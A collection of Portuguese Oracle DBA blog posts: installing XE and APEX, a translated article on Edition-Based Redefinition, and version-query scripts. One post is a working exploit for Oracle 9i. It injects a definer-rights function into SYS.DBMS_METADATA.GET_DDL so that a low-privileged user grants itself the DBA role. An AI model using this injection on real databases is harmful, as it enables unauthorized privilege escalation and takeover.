1 – Baixar e instalar Oracle XE

Download nesse link: http://www.oracle.com/technetwork/database/express-edition/overview/index.html

2 – Baixar Oracle Apex 4.1

Download nesse link: http://www.oracle.com/technetwork/developer-tools/apex/downloads/index.html?ssSourceSiteId=ocombr

Descompactar arquivos no C:\oraclexe\apex

CMD> cd c:\oraclexe\apex
CMD> sqlplus sys@xe as sysdba
SQL> @apexins SYSAUX SYSAUX TEMP /i/
CMD> sqlplus sys@xe as sysdba
SQL> @apxldimg.sql c:\oraclexe
SQL> @apxxepwd.sql <password>
SQL> exec dbms_xdb.setListenerLocalAccess (l_access => FALSE);
SQL> exit
CMD> cd C:\oraclexe\apex\builder\pt-br
CMD> set NLS_LANG=American_America.AL32UTF8
CMD> sqlplus sys@xe as sysdba
SQL> ALTER SESSION SET CURRENT_SCHEMA = APEX_040100;
SQL> @load_pt-br.sql
SQL> exit
CMD> exit

3 – Como acessar

Acesse o Apex pelo navegador: http://127.0.0.1:8080/apex
Workspace: Internal
Username: Admin
Password: <password>
Agora é só criar sua Workspace e começar a trabalhar..

Texto criado por Alex Pagliarini
Comentários aqui

Ao longo dos anos, o banco Oracle permite realizrmos muitas operações online, como:

• Modificar a maioria dos parâmetros (Apenas 90 dos 350 não são modificáveis online.)
• Reorganização de objetos (transformar uma tabela não particionada em uma particionada, recuperando um espaço livre, e assim por diante)
• Criar índices
• Aplicação de patches no Banco de dados com o Oracle Real Application Clusters
• Atualizar o banco de dados Oracle de release em release

O resultado é que quase todas mudanças em nível de banco de dados pode ser feito enquanto o banco está funcionando e realizando transações – com algumas raras excepções gritantes, como re-criar uma procedure, alterar triggers, adicionar grants, revoke de grant, e modificar views. Em suma, os objetos que constituem esse tipo de modificação não podiam ser modificadas, enquanto os usuários estavam utilizando. Se uma procedure estava sendo executada e um DBA tentou atualizar ela (CREATE OR REPLACE o código com o novo código mexido, afim de corrigir um bug), o DBA iria ficar esperando (BLOCKED) por essa pessoa até terminar sua execução.

Além disso, qualquer pessoa que tentou posteriormente executar uma procedure que o DBA está tentando substituir também ficaria bloqueado pelo DBA. E na maioria dos casos, o DBA não modifica apenas uma única procedure, mas muitas,  e o CREATE OR REPLACE do novo código da procedure tenderia a invalidar outros objetos dependentes também. O banco de dados parece “congelar”, o DBA não pode realizar as tarefas de patch (substituir alguns procedimentos, pacotes, views, triggers, e assim por diante), e os usuários finais não podem realizar as suas tarefas. Eles acabaram bloqueando e travando-se mutuamente.

Isto tudo termina tudo com o Oracle Database 11g Release 2 e o Edition-Based Redefinition, que permite aos DBAs e usuários finais acessar mais de uma ocorrência de uma stored procedure, trigger, view, e outros objetos e, portanto, isolar as mudanças em um esquema. Começando com o Oracle Database 11g Release 2, um único esquema pode agora ter duas ou mais ocorrências (vamos pensar em “versões”) de um stored procedure (função, trigger, e assim por diante) ou uma view ou de sinônimos e todos seus metadados relacionados, tais como GRANTS a esses objetos. (Estas duas ocorrências são independentes, eles coexistem, mas não interferem umas com as outras.) A “mágica” que permite isso é o novo objeto de edição (EDITION),  que introduz um novo namespace transparente que permite mais de uma ocorrência ao mesmo tempo de uma stored procedure, trigger e assim por diante.

No passado, um objeto de esquema era referenciado com dois componentes: o owner do objeto e o nome. Isso impedira a existência de dois procedimentos armazenados como “P” em um único esquema. Ou seja, você poderia ter apenas um objeto referenciado por “OWNER.P”.

O objeto de edição no Oracle Database 11g Release 2 introduz uma terceira dimensão no esquema de resolução de nomes: todos os objetos são referenciados pela edição da sessão, o owner do objeto e o nome do objeto. Cada banco de dados tem pelo menos uma edição a ela associados, e a base de dados tem sempre uma edição padrão. Quando você cria uma sessão no Oracle Database 11g Release 2, a sua sessão terá um atributo associado a ela que indica a edição que sua sessão estará usando (por padrão, esta será a edição padrão do banco de dados). Usando ALTER SESSION, você pode especificar qualquer edição para a qual tiver sido concedido o acesso em sua sessão.

Quando você invocar ou referenciar objetos no Oracle Database 11g Release 2, esses objetos são referenciado também com a edição fixada na sua sessão. Isso significa que um administrador do aplicativo pode agora logar, alterar uma sessão para utilizar uma edição chamada VERSION2, por exemplo, e compilar o código para esta edição. O trabalho realizado pelo administrador da aplicação na edição VERSION2 é visível apenas em sessões usando a edição VERSION2. “VERSION2″ porque não é a edição padrão, ninguém mais vê essas mudanças (novas procedures, views, drop de pacotes, e assim por diante) a menos que a pessoa solicita especificamente (via ALTER SESSION) e tem o privilégio de usar e “ver” aquela edição. O administrador do aplicativo é capaz de criar ou substituir qualquer código sem concorrer com os outros que estão executando o código. Se o administrador do aplicativo precisa substituir 50 unidades de PL/SQL, essa pessoa pode fazê-lo em isolamento durante todo o tempo enquanto aplicação de produção continua rodando.

O exemplo a seguir demonstra este pequeno conceito. Vou começar como DBA, criando uma conta de demonstração e concedendo o mínimo de privilégios necessário:

SQL> create user demo
  2    identified by demo;
User created.

SQL> grant create session,
  2       create procedure
  3    to demo;
Grant succeeded.

Agora vou iniciar o processo que me permitirá criar mais de uma ocorrência de objetos do meu código na base de dados. Vou precisar de uma nova edição, a fim de fazer isso. O seguinte comando cria a nova edição:

SQL> create edition version2
  2      as child of ora$base;
Edition created.

Criei uma edição chamada VERSION2 no meu banco de dados, e ela começa sendo filha de ORA$BASE. Como mencionado acima, cada banco de dados tem pelo menos uma edição e cada banco de dados tem uma edição padrão. Por exemplo, todo Oracle Database 11g Release 2 vai ter uma edição padrão chamado ORA$BASE. Como filha de ORA$BASE, minha edição VERSION2 começa a vida como uma cópia completa da edição padrão ORA$BASE. Tudo que está valendo em ORA$BASE também está em VERSION2.

É importante notar, contudo, que esta VERSION2 é uma cópia virtual. A instrução CREATE EDITION não copia fisicamente cada objeto da ORA$BASE. Pelo contrário, VERSION2 aponta para os objetos ORA$BASE, e não vai começar a usar espaço no dicionário até que eu modifique os objetos no contexto da edição VERSION2.

Então, agora eu vou instalar a versão 1 da minha aplicação na conta DEMO:

DEMO> create or replace
  2      procedure my_procedure
  3      as
  4      begin
  5         dbms_output.put_line
  6         ( 'I am version 1.0' );
  7      end;
  8      /
Procedure created.

DEMO> create or replace
  2      procedure my_procedure2
  3      as
  4      begin
  5         my_procedure;
  6      end;
  7      /
Procedure created.

Até agora muito simples, e quando eu executo essa “aplicação” eu vejo o seguinte:

DEMO> exec my_procedure2
I am version 1.0

PL/SQL procedure successfully completed.

Agora, vamos supor que este código esteja executando em produção por um tempo e eu descubro um bug, algo que precise reparar na stored procedure. No passado, eu precisaria que o usuário parasse de rodar, a fim de instalar o novo código.

Agora, no entanto, eu posso levantar a mudança no banco de dados enquanto o banco está funcionando, e os usuários estão executando o meu código com a edição padrão (ORA$BASE). Primeiro, como o DBA, eu preciso permitir que a conta DEMO use edições, e então eu preciso permitir que a conta DEMO veja e use a edição VERSION2. Além disso, para esta demonstração, vou deixar que a conta SCOTT veja e use VERSION2:

SQL> alter user demo
  2    enable editions;
User altered.

SQL> grant use
  2    on edition version2
  3    to demo;
Grant succeeded.

SQL> grant use
  2    on edition version2
  3    to scott;
Grant succeeded.

A instrução ALTER USER permite que a conta DEMO use edições dos códigos. Sem este GRANT, a conta DEMO seria capaz de ter apenas de ter uma cópia do código em vigor, em determinado momento, assim como na versão 7.0 até a versão 11.1 do Oracle Database. A instrução GRANT USE em seguida, permite que a conta DEMO e SCOTT vejam a edição VERSION2. Como a conta DEMO é habilitada para edição, ela será capaz de modificar a edição VERSION2 assim como alterar implementação de vários objetos, nesta edição, sem afetar outras edições. A conta SCOTT será capaz de usar apenas a edição deste VERSION2 – para definir a sua edição atual, na sua sessão de VERSION2 e ver os objetos como eles existem naquela edição.

Agora eu vou “patchear” a minha aplicação. Logando novamente com a conta DEMO, vou ver primeiro o que eu tenho no local após alterar a minha sessão de usar a edição VERSION2, como mostrado na Listagem 1.

Listagem de código 1: Definindo a edição VERSION2 e selecionando procedures

DEMO> alter session
  2       set edition = version2;
Session altered. 

DEMO> select object_name,
  2               object_type,
  3               status,
  4               edition_name
  5      from user_objects;

OBJECT_NAME      OBJECT_TYPE    STATUS    EDITION_NAME
-------------    -----------    ------    ------------
MY_PROCEDURE2    PROCEDURE      VALID     ORA$BASE
MY_PROCEDURE     PROCEDURE      VALID     ORA$BASE

Então, agora, na edição VERSION2, eu tenho ambas unidades de PL/SQL (MY_PROCEDURE e MY_PROCEDURE2), mas como denota a coluna EDITION_NAME, eles são “herdadas” da ORA$BASE. A edição VERSION2 está apontando para a cópia em ORA$BASE, mas não é uma cópia física do código.

Digamos que eu tenha que corrigir dois bugs. Primeiro, eu tenho um bug na implementação de MY_PROCEDURE, e eu vou substituir esse código. Em segundo lugar, eu perdi um GRANT, quando estava fazendo deploy do meu aplicativo, o usuário SCOTT era pra ter o privilégio EXECUTE MY_PROCEDURE2, mas de alguma forma isso não aconteceu quando eu instalei a última aplicação. Eu vou começar atualizando o código:

DEMO> create or replace
  2      procedure my_procedure
  3      as
  4      begin
  5         dbms_output.put_line
  6         ( 'I am version 2.0' );
  7      end;
  8      /
Procedure created.

DEMO> select object_name,
  2         edition_name
  3      from user_objects;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     VERSION2

Como você pode ver, eu ainda tenho apenas dois objetos, mas existem três objetos físicos lá, como você verá em seguida. Tenho MY_PROCEDURE2, que é herdado ORA$BASE, e eu tenho MY_PROCEDURE, que agora existe fisicamente na edição VERSION2. Isso é chamado de colocar em prática o código quando eu tenho uma cópia física na edição, eu atualizei o código naquela edição.

Usando um novo conjunto de views pra ver em todas as edições e final em _AE – Eu posso ver todo o estado do meu esquema DEMO. Eu consulto a view USER_OBJECTS_AE para OBJECT_NAME e EDITION_NAME:

DEMO> select object_name,
  2         edition_name
  3      from user_objects_AE;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE     ORA$BASE
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     VERSION2

Olhando para as diferentes edições, você pode ver que eu atualizei duas cópias físicas de MY_PROCEDURE agora: uma na edição padrão ORA$BASE e uma na nova edição VERSION2 que estou trabalhando. Agora vou aplicar o grant de EXECUTE para SCOTT:

DEMO> grant execute
  2      on my_procedure2
  3      to scott;
Grant succeeded.

DEMO> select object_name,
  2          edition_name
  3       from user_objects;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    VERSION2
MY_PROCEDURE     VERSION2

DEMO> select object_name,
  2         edition_name
  3       from user_objects_AE;

OBJECT_NAME      EDITION_NAME
-------------    ------------
MY_PROCEDURE2    ORA$BASE
MY_PROCEDURE     ORA$BASE
MY_PROCEDURE2    VERSION2
MY_PROCEDURE     VERSION2

Se você olhar para USER_OBJECTS, verá que eu tenho as duas procedures, mas ambas já foram atualizadas na edição VERSION2. Ao conceder o grant de EXECUTE nas procedures MY_PROCEDURE2 para SCOTT, eu fiz uma versão física da stored procedure aparecer na edição VERSION2, e eu apliquei o grant para que a edição em isolamento, sem encontrar quaisquer problemas de concorrência (problemas de bloqueios / lock porque alguém estava rodando a procedure). Olhando a USER_OBJECTS_AE, você pode ver que há agora quatro objetos físicos, dois em cada edição.

Agora, quando eu executo a procedure MY_PROCEDURE2 na edição VERSION2, eu vejo

DEMO> SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4       FROM DUAL;

SC
----------------------
VERSION2

DEMO> exec my_procedure2
I am version 2.0

PL/SQL procedure successfully completed.

A versão 2.0 do código é executada.

Agora, simplesmente por conectar e depois usar o banco com edição padrão (ainda ORA$BASE), iremos ver

DEMO> connect demo/demo
Connected.

DEMO> SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4      FROM DUAL;

SC
-----------------------
ORA$BASE

DEMO> exec my_procedure2
I am version 1.0

PL/SQL procedure successfully completed.

A versão 1.0 do código ainda está lá, e por padrão, ele será executado.

Além disso, para ver o efeito do privilégio EXECUTE que eu concedi ao SCOTT, eu posso conectar como SCOTT e tentar executar o procedimento armazenado MY_PROCEDURE2 na edição padrão e a edição VERSION2, como mostrado na Listagem 2.

Listagem de código 2: Executando my_procedure2 em edições atuais e na VERSION2

DEMO> connect scott/tiger
Connected.

SCOTT> SELECT SYS_CONTEXT
  2         ('userenv',
  3          'current_edition_name') sc
  4       FROM DUAL;

SC
-----------------------
ORA$BASE

SCOTT> exec demo.my_procedure2
BEGIN demo.my_procedure2; END;

      *
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00201: identifier 'DEMO.MY_PROCEDURE2' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

SCOTT> alter session
  2       set edition = version2;
Session altered.

SCOTT> exec demo.my_procedure2
I am version 2.0

PL/SQL procedure successfully completed.

Como você pode ver, quando SCOTT está usando a edição ORA$BASE, ele não pode ver ou executar a stored procedure MY_PROCEDURE2. No entanto, na edição VERSION2 o usuário SCOTT pode ver e executar esse procedimento, por isso, quando a versão 2.0 do aplicativo entra em produção, SCOTT terá a capacidade de executar esse procedimento por padrão.

Neste ponto, estou pronto para liberar este código para a produção para ser utilizado pela comunidade geral. Um único, simples ALTER DATABASE feito pelo DBA define a edição atual do banco de dados para VERSION2, e esse código se torna imediatamente acessível.

Gostaria de salientar que esta é apenas a ponta do iceberg. Aqui eu tive que fazer operações relativamente comums: substituir algumas unidades PL/SQL existentes e mudar GRANTS em alguns objetos. Eu não tomei toda a aplicação da versão 1.0 para a versão 2.0, porque isso implicaria mudar tabelas e outros objetos que não são “editáveis”. Então, o que esta coluna discutiu até agora é uma necessidade muito comum de aplicar correções em um sistema, em que você precise aplicar alterações e mudanças de código e privilégio, mas não alterações físicas, como alterações de esquema como adicionar colunas, acrescentar índices ou alterar tabelas. Estarei abordando a forma de realizar essas tarefas na próxima coluna.

Até então, veja o Capítulo 19 “Oracle Database Advanced Application Developer’s Guide 11g Release 2 (11.2)” encontrado em www.bit.ly/1m2n0J.

Esta é uma tradução literal do artigo escrito por Tom Kyte na Oracle Magazine de Janeiro/2010 por glufke.net.

Comente AQUI

Primeiramente vamos ver a versão exata que estamos usando:

sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production

Criação do usuário
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!

sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>

Ganhar privilégio de DBA

Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.

Criação da função

testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.

Execução da Função

testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected

E agora, a mágica!

testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>

Voalá! Role de DBA para TESTUSER !

Comentários aqui

Usar a V$Version

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.0.1.4.0 - Production
PL/SQL Release 9.0.1.4.0 - Production
CORE    9.0.1.2.0       Production
TNS for Linux: Version 9.0.1.4.0 - Production
NLSRTL Version 9.0.1.4.0 - Production

5 rows selected.

SQL que mostra versão

SQL> select trunc( (&_O_RELEASE/100000000)) || '.' ||
  2    trunc( mod((&_O_RELEASE/1000000),100)) || '.' ||
  3    trunc( mod((&_O_RELEASE/10000),100)) || '.' ||
  4    trunc( mod((&_O_RELEASE/100),100))
  5    from dual;

TRUNC((
-------
9.0.1.4

1 row selected.

SQL>

Mais um script interessante

rem -----------------------------------------------------------------------
rem Filename:   ver.sql
rem Purpose:    Show database version with options intalled
rem             (handy for your HELP/ABOUT menu)
rem Date:       12-Nov-1999
rem Author:     Frank Naude (frank@ibi.co.za)
rem -----------------------------------------------------------------------

set head off feed off pages 0 serveroutput on

col banner format a72 wrap

select banner
from   sys.v_$version;

select '   With the '||parameter||' option'
from   sys.v_$option
where  value = 'TRUE';

select '   The '||parameter||' option is not installed'
from   sys.v_$option
where  value <> 'TRUE';

begin
    dbms_output.put_line('Port String: '||dbms_utility.port_string);
end;
/

Este script gera uma saída como essa:

SQL> @ver
Oracle9i Enterprise Edition Release 9.2.0.5.0 - Production
PL/SQL Release 9.2.0.5.0 - Production
CORE    9.2.0.6.0       Production
TNS for 32-bit Windows: Version 9.2.0.5.0 - Production
NLSRTL Version 9.2.0.5.0 - Production
   With the Partitioning option
   With the Objects option
   With the Advanced replication option
   With the Bit-mapped indexes option
   With the Connection multiplexing option
   With the Connection pooling option
   With the Database queuing option
   With the Incremental backup and recovery option
   With the Instead-of triggers option
   With the Parallel backup and recovery option
   With the Parallel execution option
   With the Parallel load option
   With the Point-in-time tablespace recovery option
   With the Fine-grained access control option
   With the Proxy authentication/authorization option
   With the Change Data Capture option
   With the Plan Stability option
   With the Online Index Build option
   With the Coalesce Index option
   With the Managed Standby option
   With the Materialized view rewrite option
   With the Materialized view warehouse refresh option
   With the Database resource manager option
   With the Spatial option
   With the Visual Information Retrieval option
   With the Export transportable tablespaces option
   With the Transparent Application Failover option
   With the Fast-Start Fault Recovery option
   With the Sample Scan option
   With the Duplexed backups option
   With the Java option
   With the OLAP Window Functions option
   With the Block Media Recovery option
   With the Fine-grained Auditing option
   With the Application Role option
   With the Enterprise User Security option
   With the Oracle Data Guard option
   With the OLAP option
   With the Heap segment compression option
   With the Join index option
   With the Trial Recovery option
   With the Oracle Data Mining option
   With the Online Redefinition option
   With the Streams option
   With the File Mapping option
   The Real Application Clusters option is not installed
   The Oracle Label Security option is not installed
Port String: IBMPC/WIN_NT-8.1.0
SQL>

Usar a DBMS_UTILITY

SQL> DESC DBMS_OUTPUT

PROCEDURE DB_VERSION
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 VERSION                        VARCHAR2                OUT
 COMPATIBILITY                  VARCHAR2                OUT

SQL>
SQL>
SQL> declare
  2  a1 varchar2(1000);
  3  a2 varchar2(1000);
  4  begin
  5    dbms_utility.db_version(a1, a2);
  6    dbms_output.put_line('VERSAO: '||A1||'   COMPATIBILTY: '||A2);
  7  end;
  8  /
VERSAO: 9.2.0.5.0   COMPATIBILTY: 9.2.0.0.0
SQL> 

Comente aqui